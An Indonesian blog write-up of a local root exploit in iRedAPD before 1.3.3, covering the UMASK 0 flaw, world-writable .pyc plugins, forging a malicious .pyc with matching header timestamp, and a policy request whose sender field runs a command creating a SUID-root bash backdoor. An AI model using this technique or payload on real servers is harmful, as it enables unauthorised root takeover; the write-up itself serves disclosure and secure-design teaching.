iRedAPD adalah salah satu komponen dari iRedMail
yang merupakan kumpulan script dan tools untuk membuat mail server
lengkap dengan cara instalasi yang mudah dan sederhana. Saya menemukan
kelemahan pada iRedAPD sebelum versi 1.3.3 yang bisa dieksploit untuk
mendapatkan root. Bug ini saya temukan bulan juli 2010, advisory sudah
diumumkan di sini. Agar lebih jelas, di akhir tulisan saya embed juga video proof-of-concept eksploitasi bug ini.
Vulnerability
Kesalahan utama disini adalah nilai
umask yang kelewat longgar sehingga menciptakan file .pyc yang
world-writable. Kesalahan ini diperparah lagi dengan iredapd yang
menjalankan daemon by default sebagai user root.
Menjalankan iredapd sebagai root seharusnya tidak perlu karena daemon
ini tidak membutuhkan resource apapun yang membutuhkan akses root.
Prinsip “use least privilege” berguna dalam situasi ini. Memang
menjalankan daemon sebagai root tidak secara langsung mengakibatkan
vulnerability, namun bila terjadi vulnerability pada program, maka
hasilnya akan menjadi fatal.
File /opt/iredapd/src/daemon.py
mendefinisikan nilai UMASK = 0 (zero). Seperti yang kita tahu nilai
umask di UNIX dipakai untuk menentukan permission terhadap file yang
baru dibuat. Nilai umask 0 artinya file yang baru dibuat akan memiliki
permission 666 (rw-rw-rw) atau 777 (rwxrwxrwx) untuk direktori.
Berikut ini adalah snippet file daemon.py yang mengandung nilai UMASK zero.import logging
import os
import sys
# ---------------------------------------------------------------------------
# Constants
# ---------------------------------------------------------------------------
# Default daemon parameters.
# File mode creation mask of the daemon.
UMASK = 0
# Default working directory for the daemon.
WORKDIR = "/"
# Default maximum for the number of available file descriptors.
MAXFD = 1024
Direktori /opt/iredapd/src/plugins/
mengandung file plugin yang akan diload oleh iredapd. Plugin ini akan
dicompile oleh python menjadi file PYC (python compiled) ketika diload
pertama kali. Dalam loading berikutnya python tidak perlu lagi membaca
source .py, python akan langsung memakai file .pyc yang sudah dicompile
sehingga loading berikutnya akan lebih cepat.
Lalu apa hubungannya plugin ini dengan
umask? Dengan nilai umask zero, artinya ketika iredapd pertama kali
meload file plugin, akan tercipta file .pyc yang memiliki permission
world-writable 666 (rw-rw-rw). Dengan menimpa file .pyc dengan malicious
file ditambah dengan daemon yang running as root, hacker bisa
mendapatkan akses root di server tersebut.
Python Compiled
Ketika mengcompile file .py menjadi file
.pyc, modification time dari file .py akan dicatat di header file .pyc
dalam format EPOCH time. Ketika python akan meload suatu module, python
akan melihat lagi timestamp yang ada di header file pyc. Bila
modification time yang tercatat di header file .pyc tidak sama dengan
modification time file .py, maka python akan mengabaikan file .pyc
tersebut dan memilih memakai file .py yang belum dikompilasi.
Perhatikan contoh file pyc di bawah ini.
xxd ldap_maillist_access_policy.pyc |head -1
0000000: 6df2 0d0a 9938 484c 6300 0000 0000 0000 m....8HLc.......
4 byte pertama adalah magic number, dan
diikuti oleh 4 byte berikutnya yang berisi modification time dari file
.py. Nilai pada byte ke-4 s/d 7 adalah 0x9938484c yang dibaca sebagai
0x4c483899. Nilai tersebut adalah 1279801497 detik epoch yang berarti 22
Jul 2010 12:24:57 GMT atau 22 Juli 2010 19:24:57 dalam GMT+7. Jadi file
.pyc ini adalah bentuk terkompilasi dari file .py yang dimodifikasi
terakhir pada 22 juli 2010 19:24:57 GMT+7. Bila dilakukan “ls -l”
terlihat bahwa file .py memang dimodifikasi terakhir pada waktu
tersebut.
-rw-r--r-- 1 iredapd iredapd 3969 Jul 22 19:24 ldap_maillist_access_policy.py
Bila timestamp yang tercatat di header
file .pyc tidak cocok dengan modification time dari file .py, maka file
.pyc tersebut akan diabaikan. Jadi kita tidak bisa begitu saja menimpa
file .pyc dengan file .pyc yang kita bikin sendiri, kita harus sesuaikan
dulu 4 byte timestamp agar cocok dengan modification time file .py.
Sebelum menimpa pastikan 4 byte timestamp di header malicious .pyc harus sama dengan original .pyc
Creating Malicious PYC
File plugin yang saya jadikan contoh adalah
ldap_maillist_access_policy.py. Agar mudah dalam membuat file malicious
pyc, hacker bisa menginstall linux dengan iredapd di vmware sebagai test
lab. Dalam box tersebut hacker memodifikasi file source plugin
berekstensi .py dengan memasukkan 2 baris berikut:
Setelah file .py di test lab hacker ditambahkan 2 baris untuk
mengeksekusi os command dari input field “sender”, maka selanjutnya file
.py ini harus dicompile menjadi .pyc. Kita bisa memakai fungsi
__import__ di python untuk mengcompile file .py menjadi .pyc. Perhatikan
gambar di bawah ini.
Setelah berhasil di-import, maka
otomatis tercipta file ldap_maillist_access_policy.pyc yang merupakan
hasil kompilasi file ldap_maillist_access_policy.py.
Dalam video yang saya buat, saya tidak
memakai cara ini untuk mengcompile, saya mentrigger iredapd untuk
melakukan loading plugin yang otomatis akan mengcompile file .py menjadi
.pyc. Kedua cara ini hasil akhirnya sama, yaitu tercipta file .pyc yang
sudah disusupi malicious code.
Manipulating PYC Header Timestamp
Setelah hacker berhasil membuat
malicious PYC, selanjutnya file ini harus ditimpa ke original PYC di
server korban. Tapi sebelumnya byte ke-4 hingga byte ke-7 dari malicious
pyc milik hacker harus disamakan dengan file pyc original. Saya memakai
xxd untuk membaca 4 byte di header file pyc yang asli.
$ xxd -l 8 ldap_maillist_access_policy.pyc
0000000: 6df2 0d0a 9938 484c m....8HL
Dalam contoh di atas, nilai timestamp pyc yang asli adalah 0x4c483899.
Timestamp di header file malicious pyc harus diganti menjadi 0x4c483899
agar sama dengan original pyc. Hexeditor apa saja bisa dipakai untuk
mengubah 4 byte header file PYC. Tapi di sini saya memakai vim
dikombinasikan dengan xxd. Lebih jelasnya cara memakai vim sebagai hex
editor anda bisa lihat di videonya.
Setelah dipastikan file malicious pyc isi headernya sama dengan original
pyc, maka file malicious pyc tersebut bisa dikopi menimpa file original
pyc.
Executing command as root
Setelah malicous pyc berhasil menggantikan original pyc, selanjutnya
harus menunggu iredapd di-restart agar file malicious pyc diload ke
memori.
Mari kita asumsikan saja iredapd sudah direstart. Maka untuk
mengeksekusi command kita harus berkomunikasi dengan iredapd yang listen
di port 7777. Saya memakai command “nc localhost 777″ untuk
berkomunikasi ke port 7777. Request yang saya kirim adalah seperti di
bawah ini.
request=smtpd_access_policy protocol_state=RCPT protocol_name=ESMTP client_address=79.29.240.22 client_name=unknown reverse_client_name=unknown helo_name=telecomitalia.it sender=/bin/cp /bin/bash /tmp;chmod 4755 /tmp/bash recipient=dummy@google.com recipient_count=0 queue_id= instance=647f.4c558223.881a4.0 size=5866 etrn_domain= stress= sasl_method= sasl_username= sasl_sender= ccert_subject= ccert_issuer= ccert_fingerprint= encryption_protocol= encryption_cipher= encryption_keysize=0
Perhatikan bahwa field sender saya isi dengan “/bin/cp /bin/bash
/tmp;chmod 4755 /tmp/bash”. Ingat bahwa malicious code yang saya
sisipkan adalah os.system(smtpSessionData["sender"]), artinya isi dari
field sender akan dieksekusi. Command yang saya masukkan adalah membuat
file bash shell dengan permission SUID root. Artinya adalah ketika user
biasa mengeksekusi “/tmp/bash -p”, maka otomatis orang tersebut menjadi
root. Ini adalah teknik backdoor yang klasik hanya sekedar contoh.
Kesimpulan
Kesalahan pada program ini bukan pada kesalahan coding/programming, tapi
kesalahan dalam menentukan nilai umask untuk menentukan permission file
baru. Hanya karena satu baris kesalahan itu akibatnya ternyata fatal,
sistem bisa dikuasai sepenuhnya oleh hacker.
Kesalahan kedua adalah pelanggaran terhadap prinsip “use least
privilege”. iredapd ini dijalankan dengan user root sehingga
vulnerability ini bisa berakibat didapatnya akses root oleh hacker.
Seandainya iredapd ini dijalankan sebagai user biasa, maka vulnerability
ini tidak bisa dieksploit sampai mendapatkan akses root, hacker tidak
bisa melakukan privilege escalation dan tetap menjadi user biasa.
Dalam membuat program kita tidak hanya memperhatikan aspek secure
programming saja. Kita harus memikirkan juga secure design. Pada saat
desain sebelum masuk coding kita harus tentukan bagaimana konfigurasi,
setting, permission, user access (perlukah dijalankan sebagai root?)
yang paling secure untuk program yang kita buat.
Watch The Video
sumber www [dot] ilmu hacking [dot] com